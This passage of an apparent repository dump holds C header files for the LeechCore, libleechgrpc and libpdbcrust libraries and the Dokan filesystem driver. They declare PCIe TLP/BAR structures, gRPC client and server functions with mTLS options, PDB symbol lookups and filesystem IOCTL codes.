\"LcGetOption\",\n    \"LcSetOption\",\n    \"LcCommand\",\n};\n\ntypedef struct tdLC_STATISTICS {\n    DWORD dwVersion;\n    DWORD _Reserved;\n    QWORD qwFreq;\n    struct {\n        QWORD c;\n        QWORD tm;   // total time in qwFreq ticks\n    } Call[LC_STATISTICS_ID_MAX + 1];\n} LC_STATISTICS, *PLC_STATISTICS;\n\ntypedef struct tdLC_MEMMAP_ENTRY {\n    QWORD pa;\n    QWORD cb;\n    QWORD paRemap;\n} LC_MEMMAP_ENTRY, *PLC_MEMMAP_ENTRY;\n\ntypedef enum tdLC_ARCH_TP {\n    LC_ARCH_NA      = 0,\n    LC_ARCH_X86     = 1,\n    LC_ARCH_X86PAE  = 2,\n    LC_ARCH_X64     = 3,\n    LC_ARCH_ARM64   = 4,\n} LC_ARCH_TP;\n\n\n\n//-----------------------------------------------------------------------------\n// RAW TLP READ/WRITE SUPPORT:\n//-----------------------------------------------------------------------------\n\n/*\n* TLP structure to be used with LC_CMD_FPGA_TLP_WRITE_MULTIPLE.\n*/\ntypedef struct tdLC_TLP {\n    DWORD cb;\n    DWORD _Reserved1;\n    PBYTE pb;\n} LC_TLP, *PLC_TLP;\n\n/*\n* Custom FPGA callback function called when a TLP is received.\n* Callback function set by command LC_CMD_FPGA_TLP_FUNCTION_CALLBACK.\n* User-defined context is set by command: LC_CMD_FPGA_TLP_CONTEXT.\n*/\ntypedef VOID(*PLC_TLP_FUNCTION_CALLBACK)(\n    _In_opt_ PVOID ctx,\n    _In_ DWORD cbTlp,\n    _In_ PBYTE pbTlp,\n    _In_opt_ DWORD cbInfo,\n    _In_opt_ LPSTR szInfo\n);\n\n#define LC_TLP_FUNCTION_CALLBACK_DISABLE        (PLC_TLP_FUNCTION_CALLBACK)(NULL)\n#define LC_TLP_FUNCTION_CALLBACK_DUMMY          (PLC_TLP_FUNCTION_CALLBACK)(-1)\n\n\n\n//-----------------------------------------------------------------------------\n// VMM (VM) LOOPBACK SUPPORT:\n// Functionality is used to create a VMM loopback device which is used by VMM\n// to read and write memory to/from a virtual machine. See VMM for an example.\n// Struct is passed in the 'hlcvmm' parameter to LcCreate() and will be copied.\n//-----------------------------------------------------------------------------\n\n#define LC_VMM_VERSION                          0x1eef0001\n\ntypedef struct tdLC_VMM {\n    DWORD dwVersion;\n    HANDLE hVMM;\n    HANDLE hVMMVM;\n    PVOID pfnVMMDLL_ConfigGet;\n    PVOID pfnVMMDLL_VmMemReadScatter;\n    PVOID pfnVMMDLL_VmMemWriteScatter;\n} LC_VMM, *PLC_VMM;\n\n\n\n//-----------------------------------------------------------------------------\n// PCIE BAR SUPPORT:\n//-----------------------------------------------------------------------------\n\ntypedef struct tdLC_BAR {\n    BOOL fValid;\n    BOOL fIO;\n    BOOL f64Bit;\n    BOOL fPrefetchable;\n    DWORD _Filler[3];\n    DWORD iBar;\n    QWORD pa;\n    QWORD cb;\n} LC_BAR, *PLC_BAR;\n\ntypedef struct tdLC_BAR_REQUEST {\n    PVOID ctx;              // user context (set by command LC_CMD_FPGA_BAR_CONTEXT)\n    PLC_BAR pBar;           // BAR info\n    BYTE bTag;              // TLP tag (0-255)\n    BYTE bFirstBE;          // First byte enable (0-3) [relevant for writes]\n    BYTE bLastBE;           // Last byte enable (0-3) [relevant for writes]\n    BYTE _Filler;\n    BOOL f64;               // 64-bit bar access (false = 32-bit)\n    BOOL fRead;             // BAR read request, called function should update pbData with read data and set fReadReply = TRUE on success.\n    BOOL fReadReply;        // Read success - should be updated by called function upon read success (after updating pbData).\n    BOOL fWrite;            // BAR write request (no reply should be sent, check byte-enables bFirstBE/bLastBE)\n    DWORD cbData;           // number of bytes to read/write\n    QWORD oData;            // data offset in BAR.\n    BYTE pbData[4096];      // bytes to write or read data (to be updated by called function).\n} LC_BAR_REQUEST, *PLC_BAR_REQUEST;\n\n/*\n* Custom FPGA callback function to be called when BAR read/write is received.\n* Callback function set by command LC_CMD_FPGA_BAR_FUNCTION_CALLBACK.\n* User-defined context is set by command: LC_CMD_FPGA_BAR_CONTEXT.\n* Read reply is sent by updating pbData with read data and fReadReply = TRUE.\n* To return Unsupported Request (UR) set fReadReply = FALSE on a MRd request.\n*/\ntypedef VOID(*PLC_BAR_FUNCTION_CALLBACK)(_Inout_ PLC_BAR_REQUEST pBarRequest);\n\n#define LC_BAR_FUNCTION_CALLBACK_DISABLE        (PLC_BAR_FUNCTION_CALLBACK)(NULL)\n#define LC_BAR_FUNCTION_CALLBACK_ZEROBAR        (PLC_BAR_FUNCTION_CALLBACK)(-1)\n\n\n#ifdef __cplusplus\n}\n#endif /* __cplusplus */\n#endif /* __LEECHCORE_H__ */\n"
  },
  {
    "path": "includes/leechgrpc.h",
    "content": "// leechgrpc.h : external header of the libleechgrpc library.\n//\n// libleechgrpc is a library used by LeechCore to communicate with a LeechAgent\n// gRPC server. The library provides functions to create a gRPC client and\n// server, submit commands to the server, and handle incoming commands.\n// \n// libleechgrpc offers a platform-independent way to communicate with remote\n// LeechAgent instances, using gRPC as the underlying communication protocol.\n// The library supports both insecure and secure connections, with secure\n// connections using mTLS.\n//\n// For more information visit the project page at:\n// https://github.com/ufrisk/libleechgrpc\n//\n// (c) Ulf Frisk, 2025\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n\n#ifndef __LEECHGRPC_H__\n#define __LEECHGRPC_H__\n#ifdef __cplusplus\nextern \"C\" {\n#endif /* __cplusplus */\n\n#define LEECHGRPC_MESSAGE_SIZE_MAX          (64*1024*1024)\n#define LEECHGRPC_CLIENT_TIMEOUT_MS         (5000)\n\n#ifdef _WIN32\n\n#include <Windows.h>\n#define LEECHGRPC_EXPORTED_FUNCTION         __declspec(dllexport)\n\n#endif /* _WIN32 */\n#if defined(LINUX) || defined(MACOS)\n\n#include <inttypes.h>\n#include <stdlib.h>\n#define LEECHGRPC_EXPORTED_FUNCTION         __attribute__((visibility(\"default\")))\ntypedef void                                VOID, *PVOID, *HANDLE;\ntypedef size_t                              SIZE_T;\ntypedef uint32_t                            DWORD, BOOL;\ntypedef uint8_t                             BYTE, *PBYTE;\ntypedef char                                CHAR, *LPSTR;\ntypedef const char                          *LPCSTR;\n#define _Success_(x)\n#define _In_\n#define _Out_\n#define _In_opt_\n\n#endif /* LINUX || MACOS */\n\ntypedef void                                *LEECHGRPC_CLIENT_HANDLE, *LEECHGRPC_SERVER_HANDLE;\n\n\n\n//-----------------------------------------------------------------------------\n// LeechgRPC Client API:\n//-----------------------------------------------------------------------------\n\n/*\n* Submit a command to the gRPC server.\n* -- hGRPC: Handle to the gRPC client.\n* -- pbIn: Pointer to the input buffer.\n* -- cbIn: Size of the input buffer.\n* -- ppbOut: Pointer to receive the output buffer. The caller is responsible for freeing this buffer with LocalFree/free.\n* -- pcbOut: Pointer to receive the size of the output buffer.\n* -- return: TRUE if the command was successfully submitted; otherwise, FALSE.\n*/\nLEECHGRPC_EXPORTED_FUNCTION _Success_(return)\nBOOL leechgrpc_client_submit_command(\n    _In_ LEECHGRPC_CLIENT_HANDLE hGRPC,\n    _In_ PBYTE pbIn,\n    _In_ SIZE_T cbIn,\n    _Out_ PBYTE *ppbOut,\n    _Out_ SIZE_T *pcbOut\n);\n\ntypedef BOOL(*pfn_leechgrpc_client_submit_command)(\n    _In_ LEECHGRPC_CLIENT_HANDLE hGRPC,\n    _In_ PBYTE pbIn,\n    _In_ SIZE_T cbIn,\n    _Out_ PBYTE *ppbOut,\n    _Out_ SIZE_T *pcbOut\n);\n\n/*\n* Free the gRPC client connection.\n* -- hGRPC: Handle to the gRPC client.\n*/\nLEECHGRPC_EXPORTED_FUNCTION\nVOID leechgrpc_client_free(\n    _In_ LEECHGRPC_CLIENT_HANDLE hGRPC\n);\n\ntypedef VOID(*pfn_leechgrpc_client_free)(\n    _In_ LEECHGRPC_CLIENT_HANDLE hGRPC\n);\n\n/*\n* Create an insecure unauthenticated unencrypted gRPC client connection to the gRPC server.\n* -- pszAddress: Address of the gRPC server.\n* -- dwPort: Port of the gRPC server.\n* -- return: Handle to the gRPC client connection, or NULL on failure.\n*/\nLEECHGRPC_EXPORTED_FUNCTION _Success_(return != NULL)\nLEECHGRPC_CLIENT_HANDLE leechgrpc_client_create_insecure(\n    _In_ LPCSTR szAddress,\n    _In_ DWORD dwPort\n);\n\ntypedef LEECHGRPC_CLIENT_HANDLE(*pfn_leechgrpc_client_create_insecure)(\n    _In_ LPCSTR szAddress,\n    _In_ DWORD dwPort\n);\n\n/*\n* Create a gRPC client connection to the gRPC server with mTLS.\n* -- pszAddress: Address of the gRPC server.\n* -- dwPort: Port of the gRPC server.\n* -- szTlsServerHostnameOverride: Optional hostname to verify against the server certificate (if different from address).\n* -- szTlsServerCertPath: Server CA certificate to trust for mTLS connections.\n* -- szTlsClientP12Path: Path to the client's TLS certificate (incl. chain) & private key (.p12 / .pfx).\n* -- szTlsClientP12Password: Password for the client's TLS certificate & private key (.p12 / .pfx).\n*/\nLEECHGRPC_EXPORTED_FUNCTION _Success_(return != NULL)\nLEECHGRPC_CLIENT_HANDLE leechgrpc_client_create_secure_p12(\n    _In_ LPCSTR szAddress,\n    _In_ DWORD dwPort,\n    _In_opt_ LPCSTR szTlsServerHostnameOverride,\n    _In_opt_ LPCSTR szTlsServerCertPath,\n    _In_ LPCSTR szTlsClientP12Path,\n    _In_ LPCSTR szTlsClientP12Password\n);\n\ntypedef LEECHGRPC_CLIENT_HANDLE(*pfn_leechgrpc_client_create_secure_p12)(\n    _In_ LPCSTR szAddress,\n    _In_ DWORD dwPort,\n    _In_opt_ LPCSTR szTlsServerHostnameOverride,\n    _In_opt_ LPCSTR szTlsServerCertPath,\n    _In_ LPCSTR szTlsClientP12Path,\n    _In_ LPCSTR szTlsClientP12Password\n);\n\n/*\n* Create a gRPC client connection to the gRPC server with mTLS.\n* -- pszAddress: Address of the gRPC server.\n* -- dwPort: Port of the gRPC server.\n* -- szTlsServerHostnameOverride: Optional hostname to verify against the server certificate (if different from address).\n* -- szTlsServerCert: Server CA certificate to trust for mTLS connections.\n* -- szTlsClientCert: Cerver TLS certificate.\n* -- szTlsClientCertPrivateKey: Client TLS certificate private key.\n*/\nLEECHGRPC_EXPORTED_FUNCTION _Success_(return != NULL)\nLEECHGRPC_CLIENT_HANDLE leechgrpc_client_create_secure_pemraw(\n    _In_ LPCSTR szAddress,\n    _In_ DWORD dwPort,\n    _In_opt_ LPCSTR szTlsServerHostnameOverride,\n    _In_opt_ LPCSTR szTlsServerCert,\n    _In_ LPCSTR szTlsClientCert,\n    _In_ LPCSTR szTlsClientCertPrivateKey\n);\n\ntypedef LEECHGRPC_CLIENT_HANDLE(*pfn_leechgrpc_client_create_secure_pemraw)(\n    _In_ LPCSTR szAddress,\n    _In_ DWORD dwPort,\n    _In_opt_ LPCSTR szTlsServerHostnameOverride,\n    _In_opt_ LPCSTR szTlsServerCert,\n    _In_ LPCSTR szTlsClientCert,\n    _In_ LPCSTR szTlsClientCertPrivateKey\n);\n\n/*\n* Create a gRPC client connection to the gRPC server with mTLS.\n* -- pszAddress: Address of the gRPC server.\n* -- dwPort: Port of the gRPC server.\n* -- szTlsServerHostnameOverride: Optional hostname to verify against the server certificate (if different from address).\n* -- szTlsServerCertPath: Server CA certificate to trust for mTLS connections.\n* -- szTlsClientCertPath: Cerver TLS certificate.\n* -- szTlsClientCertPrivateKeyPath: Client TLS certificate private key.\n*/\nLEECHGRPC_EXPORTED_FUNCTION _Success_(return != NULL)\nLEECHGRPC_CLIENT_HANDLE leechgrpc_client_create_secure_pemfile(\n    _In_ LPCSTR szAddress,\n    _In_ DWORD dwPort,\n    _In_opt_ LPCSTR szTlsServerHostnameOverride,\n    _In_opt_ LPCSTR szTlsServerCertPath,\n    _In_ LPCSTR szTlsClientCertPath,\n    _In_ LPCSTR szTlsClientCertPrivateKeyPath\n);\n\ntypedef LEECHGRPC_CLIENT_HANDLE(*pfn_leechgrpc_client_create_secure_pemfile)(\n    _In_ LPCSTR szAddress,\n    _In_ DWORD dwPort,\n    _In_opt_ LPCSTR szTlsServerHostnameOverride,\n    _In_opt_ LPCSTR szTlsServerCertPath,\n    _In_ LPCSTR szTlsClientCertPath,\n    _In_ LPCSTR szTlsClientCertPrivateKeyPath\n);\n\n\n\n//-----------------------------------------------------------------------------\n// LeechgRPC Server API:\n//-----------------------------------------------------------------------------\n\n/*\n* Callback function used to pass on a command received by the gRPC server.\n* -- pbIn: Pointer to the input buffer.\n* -- cbIn: Size of the input buffer.\n* -- ppbOut: Pointer to receive the output buffer allocated by the callback function, freed by the caller.\n* -- pcbOut: Pointer to receive the size of the output buffer.\n*/\ntypedef VOID(*PFN_RESERVED_SUBMIT_COMMAND_CB)(_In_opt_ PVOID ctx, _In_ PBYTE pbIn, _In_ SIZE_T cbIn, _Out_ PBYTE *ppbOut, _Out_ SIZE_T *pcbOut);\n\n/*\n* Wait for the gRPC server to shutdown.\n* -- hGRPC: Handle to the gRPC server.\n*/\nLEECHGRPC_EXPORTED_FUNCTION\nVOID leechgrpc_server_wait(_In_ LEECHGRPC_SERVER_HANDLE hGRPC);\n\ntypedef VOID(*pfn_leechgrpc_server_wait)(_In_ LEECHGRPC_SERVER_HANDLE hGRPC);\n\n/*\n* Shut down the gRPC server.\n* -- hGRPC: Handle to the gRPC server.\n*/\nLEECHGRPC_EXPORTED_FUNCTION\nVOID leechgrpc_server_shutdown(_In_ LEECHGRPC_SERVER_HANDLE hGRPC);\n\ntypedef VOID(*pfn_leechgrpc_server_shutdown)(_In_ LEECHGRPC_SERVER_HANDLE hGRPC);\n\n/*\n* Create an insecure gRPC server without any authentication / encryption.\n* -- szAddress: Address to listen on, e.g., \"localhost\" or \"0.0.0.0\".\n* -- dwPort: Port to listen on.\n* -- pfnReservedSubmitCommandCB: Callback function to handle incoming commands.\n* -- return: Handle to the gRPC server, or NULL on failure.\n*/\nLEECHGRPC_EXPORTED_FUNCTION _Success_(return != NULL)\nLEECHGRPC_SERVER_HANDLE leechgrpc_server_create_insecure(\n    _In_ LPCSTR szAddress,\n    _In_ DWORD dwPort,\n    _In_opt_ PVOID ctx,\n    _In_ PFN_RESERVED_SUBMIT_COMMAND_CB pfnReservedSubmitCommandCB\n);\n\ntypedef LEECHGRPC_SERVER_HANDLE(*pfn_leechgrpc_server_create_insecure)(\n    _In_ LPCSTR szAddress,\n    _In_ DWORD dwPort,\n    _In_opt_ PVOID ctx,\n    _In_ PFN_RESERVED_SUBMIT_COMMAND_CB pfnReservedSubmitCommandCB\n);\n\n/*\n* Create a gRPC server with mTLS.\n* -- szAddress: Address to listen on, e.g., \"localhost\" or \"\n* -- dwPort: Port to listen on.\n* -- ctx: Optional context to pass to the callback function.\n* -- pfnReservedSubmitCommandCB: Callback function to handle incoming commands.\n* -- szTlsClientCertPath: Client CA certificate to trust for mTLS connections.\n* -- szTlsServerP12Path: Path to the server's TLS certificate (incl. chain) & private key (.p12 / .pfx).\n* -- szTlsServerP12Password: Password for the server's TLS certificate & private key (.p12 / .pfx).\n* -- return: Handle to the gRPC server, or NULL on failure.\n*/\nLEECHGRPC_EXPORTED_FUNCTION _Success_(return != NULL)\nLEECHGRPC_SERVER_HANDLE leechgrpc_server_create_secure_p12(\n    _In_ LPCSTR szAddress,\n    _In_ DWORD dwPort,\n    _In_opt_ PVOID ctx,\n    _In_ PFN_RESERVED_SUBMIT_COMMAND_CB pfnReservedSubmitCommandCB,\n    _In_ LPCSTR szTlsClientCertPath,\n    _In_ LPCSTR szTlsServerP12Path,\n    _In_ LPCSTR szTlsServerP12Password\n);\n\ntypedef LEECHGRPC_SERVER_HANDLE(*pfn_leechgrpc_server_create_secure_p12)(\n    _In_ LPCSTR szAddress,\n    _In_ DWORD dwPort,\n    _In_opt_ PVOID ctx,\n    _In_ PFN_RESERVED_SUBMIT_COMMAND_CB pfnReservedSubmitCommandCB,\n    _In_ LPCSTR szTlsClientCertPath,\n    _In_ LPCSTR szTlsServerP12Path,\n    _In_ LPCSTR szTlsServerP12Password\n);\n\n/*\n* Create a gRPC server with mTLS.\n* -- szAddress: Address to listen on, e.g., \"localhost\" or \"\n* -- dwPort: Port to listen on.\n* -- ctx: Optional context to pass to the callback function.\n* -- pfnReservedSubmitCommandCB: Callback function to handle incoming commands.\n* -- szTlsClientCert: Client CA certificate to trust for mTLS connections.\n* -- szTlsServerCert: Server TLS certificate (incl. chain).\n* -- szTlsServerCertPrivateKey: Server TLS certificate private key.\n* -- return: Handle to the gRPC server, or NULL on failure.\n*/\nLEECHGRPC_EXPORTED_FUNCTION _Success_(return != NULL)\nLEECHGRPC_SERVER_HANDLE leechgrpc_server_create_secure_pemraw(\n    _In_ LPCSTR szAddress,\n    _In_ DWORD dwPort,\n    _In_opt_ PVOID ctx,\n    _In_ PFN_RESERVED_SUBMIT_COMMAND_CB pfnReservedSubmitCommandCB,\n    _In_ LPCSTR szTlsClientCert,\n    _In_ LPCSTR szTlsServerCert,\n    _In_ LPCSTR szTlsServerCertPrivateKey\n);\n\ntypedef LEECHGRPC_SERVER_HANDLE(*pfn_leechgrpc_server_create_secure_pemraw)(\n    _In_ LPCSTR szAddress,\n    _In_ DWORD dwPort,\n    _In_opt_ PVOID ctx,\n    _In_ PFN_RESERVED_SUBMIT_COMMAND_CB pfnReservedSubmitCommandCB,\n    _In_ LPCSTR szTlsClientCert,\n    _In_ LPCSTR szTlsServerCert,\n    _In_ LPCSTR szTlsServerCertPrivateKey\n);\n\n/*\n* Create a gRPC server with mTLS.\n* -- szAddress: Address to listen on, e.g., \"localhost\" or \"\n* -- dwPort: Port to listen on.\n* -- ctx: Optional context to pass to the callback function.\n* -- pfnReservedSubmitCommandCB: Callback function to handle incoming commands.\n* -- szTlsClientCertPath: Client CA certificate to trust for mTLS connections.\n* -- szTlsServerCertPath: Server TLS certificate (incl. chain).\n* -- szTlsServerCertPrivateKeyPath: Server TLS certificate private key.\n* -- return: Handle to the gRPC server, or NULL on failure.\n*/\nLEECHGRPC_EXPORTED_FUNCTION _Success_(return != NULL)\nLEECHGRPC_SERVER_HANDLE leechgrpc_server_create_secure_pemfile(\n    _In_ LPCSTR szAddress,\n    _In_ DWORD dwPort,\n    _In_opt_ PVOID ctx,\n    _In_ PFN_RESERVED_SUBMIT_COMMAND_CB pfnReservedSubmitCommandCB,\n    _In_ LPCSTR szTlsClientCertPath,\n    _In_ LPCSTR szTlsServerCertPath,\n    _In_ LPCSTR szTlsServerCertPrivateKeyPath\n);\n\ntypedef LEECHGRPC_SERVER_HANDLE(*pfn_leechgrpc_server_create_secure_pemfile)(\n    _In_ LPCSTR szAddress,\n    _In_ DWORD dwPort,\n    _In_opt_ PVOID ctx,\n    _In_ PFN_RESERVED_SUBMIT_COMMAND_CB pfnReservedSubmitCommandCB,\n    _In_ LPCSTR szTlsClientCertPath,\n    _In_ LPCSTR szTlsServerCertPath,\n    _In_ LPCSTR szTlsServerCertPrivateKeyPath\n);\n\n#ifdef __cplusplus\n}\n#endif /* __cplusplus */\n#endif /* __LEECHGRPC_H__ */\n"
  },
  {
    "path": "includes/libpdbcrust.h",
    "content": "// C library wrapper around the rust PDB crate and related useful utilities.\n//\n// (c) Ulf Frisk, 2023\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n// Licensed under the Apache License, Version 2.0, <LICENSE-APACHE or\n// http://apache.org/licenses/LICENSE-2.0> or the MIT license <LICENSE-MIT or\n// http://opensource.org/licenses/MIT>, at your option. This file may not be\n// copied, modified, or distributed except according to those terms.\n//\n\n#include <stddef.h>\n#include <stdbool.h>\n\n/*\n* Open a PDB file given its full path and return a handle to it.\n* The handle should be closed by calling pdbcrust_close(). \n*/\nsize_t pdbcrust_open(\n    char *sz_pdb_full_path\n);\n\n/*\n* Close a PDB handle and free its resources.\n*/\nvoid pdbcrust_close(\n    size_t hnd\n);\n\n/*\n* Ensure that a PDB file exists on the specified path and upon success return\n* the full file path in sz_pdb_path_result. If the PDB file does not exist it\n* may optionally be downloaded from the Microsoft symbol server.\n* -- sz_pdb_basepath      = base path (directory must exist).\n* -- sz_pdb_guidage       = the combined GUID+AGE in uppercase hexascii string.\n* -- sz_pdb_name          = the pdb file name.\n* -- is_mspdb_download    = download the PDB from the microsoft symbol server.\n* -- len_path_path_result = byte length of sz_pdb_path_result.\n* -- sz_pdb_path_result   = buffer to receive full pdb file path on success.\n* -- return\n*/\nbool pdbcrust_pdb_download_ensure(\n    char *sz_pdb_basepath,\n    char *sz_pdb_guidage,\n    char *sz_pdb_name,\n    bool is_mspdb_download,\n    size_t len_path_path_result,\n    char *sz_pdb_path_result\n);\n\n/*\n* Retrieve a symbol offset given a symbol name.\n* -- hnd\n* -- sz_symbol_name = the symbol name to retrieve\n* -- return = the symbol offset on success. zero on fail.\n*/\nunsigned int pdbcrust_symbol_offset(\n    size_t hnd,\n    char *sz_symbol_name\n);\n\n/*\n* Retrieve a symbol name given an offset.\n* -- hnd\n* -- symbol_offset = the symbol offset.\n* -- len_symbol_name\n* -- sz_symbol_name\n* -- displacement = the displacement, currently not functional.\n* -- return\n*/\nbool pdbcrust_symbol_name_from_offset(\n    size_t hnd,\n    unsigned int symbol_offset,\n    size_t len_symbol_name,\n    char *sz_symbol_name,\n    unsigned int *displacement\n);\n\n/*\n* Retrieve the size of a type / struct.\n* -- hnd\n* -- sz_type_name\n* -- return = the type size on success, 0 on fail.\n*/\nunsigned int pdbcrust_type_size(\n    size_t hnd,\n    char *sz_type_name\n);\n\n/*\n* Retrieve the child offset inside a type/struct.\n* -- hnd\n* -- sz_type_name\n* -- sz_type_child\n* -- offset_type_child = ptr to receive the child offset on success.\n* -- return\n*/\nbool pdbcrust_type_child_offset(\n    size_t hnd,\n    char *sz_type_name,\n    char *sz_type_child,\n    unsigned int *offset_type_child\n);\n"
  },
  {
    "path": "includes/public.h",
    "content": "/*\n  Dokan : user-mode file system library for Windows\n\n  Copyright (C) 2017 - 2021 Google, Inc.\n  Copyright (C) 2015 - 2019 Adrien J. <liryna.stark@gmail.com> and Maxime C. <maxime@islog.com>\n  Copyright (C) 2007 - 2011 Hiroki Asakawa <info@dokan-dev.net>\n\n  http://dokan-dev.github.io\n\nThis program is free software; you can redistribute it and/or modify it under\nthe terms of the GNU Lesser General Public License as published by the Free\nSoftware Foundation; either version 3 of the License, or (at your option) any\nlater version.\n\nThis program is distributed in the hope that it will be useful, but WITHOUT ANY\nWARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\nFOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.\n\nYou should have received a copy of the GNU Lesser General Public License along\nwith this program. If not, see <http://www.gnu.org/licenses/>.\n*/\n\n#ifndef PUBLIC_H_\n#define PUBLIC_H_\n\n#ifndef DOKAN_MAJOR_API_VERSION\n#define DOKAN_MAJOR_API_VERSION L\"2\"\n#include <minwindef.h>\n#endif\n\n#define DOKAN_DRIVER_VERSION 0x0000190\n\n#define EVENT_CONTEXT_MAX_SIZE (1024 * 32)\n// This is arbitrary. There isn't really an absolute max, but we marshal it in\n// a fixed-size buffer.\n#define VOLUME_SECURITY_DESCRIPTOR_MAX_SIZE (1024 * 16)\n\n#define FSCTL_GET_VERSION \\\n  CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)\n\n#define FSCTL_SET_DEBUG_MODE \\\n  CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)\n\n#define FSCTL_EVENT_RELEASE \\\n  CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 0x804, METHOD_BUFFERED, FILE_ANY_ACCESS)\n\n#define FSCTL_EVENT_START \\\n  CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 0x805, METHOD_BUFFERED, FILE_ANY_ACCESS)\n\n#define FSCTL_EVENT_WRITE \\\n  CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 0x806, METHOD_OUT_DIRECT, FILE_ANY_ACCESS)\n\n#define FSCTL_RESET_TIMEOUT \\\n  CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 0x80B, METHOD_BUFFERED, FILE_ANY_ACCESS)\n\n#define FSCTL_GET_ACCESS_TOKEN \\\n  CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 0x80C, METHOD_BUFFERED, FILE_ANY_ACCESS)\n\n#define FSCTL_EVENT_MOUNTPOINT_LIST \\\n  CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 0x80D, METHOD_BUFFERED, FILE_ANY_ACCESS)\n\n#define FSCTL_MOUNTPOINT_CLEANUP                                               \\\n  CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 0x80E, METHOD_BUFFERED, FILE_ANY_ACCESS)\n\n// DeviceIoControl code to send to a keepalive handle to activate it (see the\n// documentation for the keepalive flags in the DokanFCB struct).\n#define FSCTL_ACTIVATE_KEEPALIVE                                               \\\n  CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 0x80F, METHOD_BUFFERED, FILE_ANY_ACCESS)\n\n// DeviceIoControl code to send path notification request.\n#define FSCTL_NOTIFY_PATH                                                      \\\n  CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 0x810, METHOD_BUFFERED, FILE_ANY_ACCESS)\n\n// DeviceIoControl code to retrieve the VOLUME_METRICS struct for the targeted\n// volume.\n#define FSCTL_GET_VOLUME_METRICS \\\n  CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 0x811, METHOD_BUFFERED, FILE_ANY_ACCESS)\n\n#define FSCTL_EVENT_PROCESS_N_PULL                                                     \\\n  CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 0x812, METHOD_BUFFERED, FILE_ANY_ACCESS)\n\n#define DRIVER_FUNC_INSTALL 0x01\n#define DRIVER_FUNC_REMOVE 0x02\n\n#define DOKAN_MOUNTED 1\n#define DOKAN_USED 2\n#define DOKAN_START_FAILED 3\n\n#define DOKAN_DEVICE_MAX 10\n\n#define DOKAN_DEFAULT_SECTOR_SIZE 512\n#define DOKAN_DEFAULT_ALLOCATION_UNIT_SIZE 512\n#define DOKAN_DEFAULT_DISK_SIZE 1024 * 1024 * 1024\n\n// used in CCB->Flags and FCB->Flags\n#define DOKAN_FILE_DIRECTORY 1\n#define DOKAN_FILE_DELETED 2\n#define DOKAN_FILE_OPENED 4\n#define DOKAN_DIR_MATCH_ALL 8\n#define DOKAN_DELETE_ON_CLOSE 16\n#define DOKAN_PAGING_IO 32\n#define DOKAN_SYNCHRONOUS_IO 64\n#define DOKAN_WRITE_TO_END_OF_FILE 128\n#define DOKAN_NOCACHE 256\n#define DOKAN_RETRY_CREATE 512\n#define DOKAN_EVER_USED_IN_NOTIFY_LIST 1024\n#define DOKAN_FILE_CHANGE_LAST_WRITE 2048\n\n// used in DOKAN_START->DeviceType\n#define DOKAN_DISK_FILE_SYSTEM 0\n#define DOKAN_NETWORK_FILE_SYSTEM 1\n\n// Special files that are tagged for specfic FS purpose when their FCB is init.\n// Note: This file names can no longer be used by userland FS correctly.\n#define DOKAN_KEEPALIVE_FILE_NAME L\"\\\\__drive_fs_keepalive\"\n#define DOKAN_NOTIFICATION_FILE_NAME L\"\\\\drive_fs_notification\"\n\n// The minimum FCB garbage collection interval, below which the parameter is\n// ignored (instantaneous deletion with an interval of 0 is more efficient than\n// using the machinery with a tight interval).\n#define MIN_FCB_GARBAGE_COLLECTION_INTERVAL 500\n\n/*\n * This structure is used for copying UNICODE_STRING from the kernel mode driver\n * into the user mode driver.\n * https://msdn.microsoft.com/en-us/library/windows/hardware/ff564879(v=vs.85).aspx\n */\ntypedef struct _DOKAN_UNICODE_STRING_INTERMEDIATE {\n  USHORT Length;\n  USHORT MaximumLength;\n  WCHAR Buffer[1];\n} DOKAN_UNICODE_STRING_INTERMEDIATE, *PDOKAN_UNICODE_STRING_INTERMEDIATE;\n\n/*\n * This structure is used for sending notify path information from the user mode\n * driver to the kernel mode driver. See below links for parameter details for\n * CompletionFilter and Action, and FsRtlNotifyFullReportChange call.\n * https://msdn.microsoft.com/en-us/library/windows/hardware/ff547026(v=vs.85).aspx\n * https://msdn.microsoft.com/en-us/library/windows/hardware/ff547041(v=vs.85).aspx\n */\ntypedef struct _DOKAN_NOTIFY_PATH_INTERMEDIATE {\n  ULONG CompletionFilter;\n  ULONG Action;\n  USHORT Length;\n  WCHAR Buffer[1];\n} DOKAN_NOTIFY_PATH_INTERMEDIATE, *PDOKAN_NOTIFY_PATH_INTERMEDIATE;\n\n/*\n * This structure is used for copying ACCESS_STATE from the kernel mode driver\n * into the user mode driver.\n * https://msdn.microsoft.com/en-us/library/windows/hardware/ff538840(v=vs.85).aspx\n*/\ntypedef struct _DOKAN_ACCESS_STATE_INTERMEDIATE {\n  BOOLEAN SecurityEvaluated;\n  BOOLEAN GenerateAudit;\n  BOOLEAN GenerateOnClose;\n  BOOLEAN AuditPrivileges;\n  ULONG Flags;\n  ACCESS_MASK RemainingDesiredAccess;\n  ACCESS_MASK PreviouslyGrantedAccess;\n  ACCESS_MASK OriginalDesiredAccess;\n\n  // Offset from the beginning of this structure to a SECURITY_DESCRIPTOR\n  // if 0 that means there is no security descriptor\n  ULONG SecurityDescriptorOffset;\n\n  // Offset from the beginning of this structure to a\n  // DOKAN_UNICODE_STRING_INTERMEDIATE\n  ULONG UnicodeStringObjectNameOffset;\n\n  // Offset from the beginning of this structure to a\n  // DOKAN_UNICODE_STRING_INTERMEDIATE\n  ULONG UnicodeStringObjectTypeOffset;\n} DOKAN_ACCESS_STATE_INTERMEDIATE, *PDOKAN_ACCESS_STATE_INTERMEDIATE;\n\ntypedef struct _DOKAN_ACCESS_STATE {\n  BOOLEAN SecurityEvaluated;\n  BOOLEAN GenerateAudit;\n  BOOLEAN 